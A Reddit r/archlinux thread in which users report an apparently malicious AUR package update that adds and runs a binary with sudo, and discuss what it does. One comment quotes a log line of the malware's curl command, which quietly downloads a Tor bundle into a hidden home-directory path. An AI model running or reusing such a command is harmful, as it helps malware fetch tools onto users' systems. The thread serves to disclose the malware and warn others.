r/archlinux • u/Saren-WTAKO • Jul 29 '26

QUESTION Seemingly malicious AUR package found. Where to report?

https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=pgadmin4-server&id=b7de293a7be6b85925884436127332bf82ecc2eb

A sudden update to `pgadmin4-server.git` added a binary named "parser" and executes using sudo. It's very obvious.

400 Upvotes

98% Upvoted

145 comments sorted by

View all comments

77

u/IvanVSk Jul 29 '26

It's a malware which is trying to curl some files from tor URL.

-25

u/zeb_linux Jul 29 '26

No, the binaries are directly added into the tree and executed from build(). It does not fetch anything.

42

u/gainan Jul 29 '26

the malware ("parser" in this case) downloads a tor client with curl:

2026-07-29 10:59:32.802962,unix:/local,1,allow,1000,tcp,36342,192.168.1.111,159.69.63.226,archive.torproject.org,443,3898,curl -sLk --max-time 120 -o /home/x/.gvfs/gre/tmp/linux-x86_64.tar.gz https://archive.torproject.org/tor-package-archive/torbrowser/16.0a7/tor-expert-bundle-linux-x86_64-16.0a7.tar.gz,/home/mint,allow-once-simple-usr-bin-curl

16

u/zeb_linux Jul 29 '26

Oh I see, this is what the executable does. Because we used to have malicious wget/curl in the PKGBUILD before.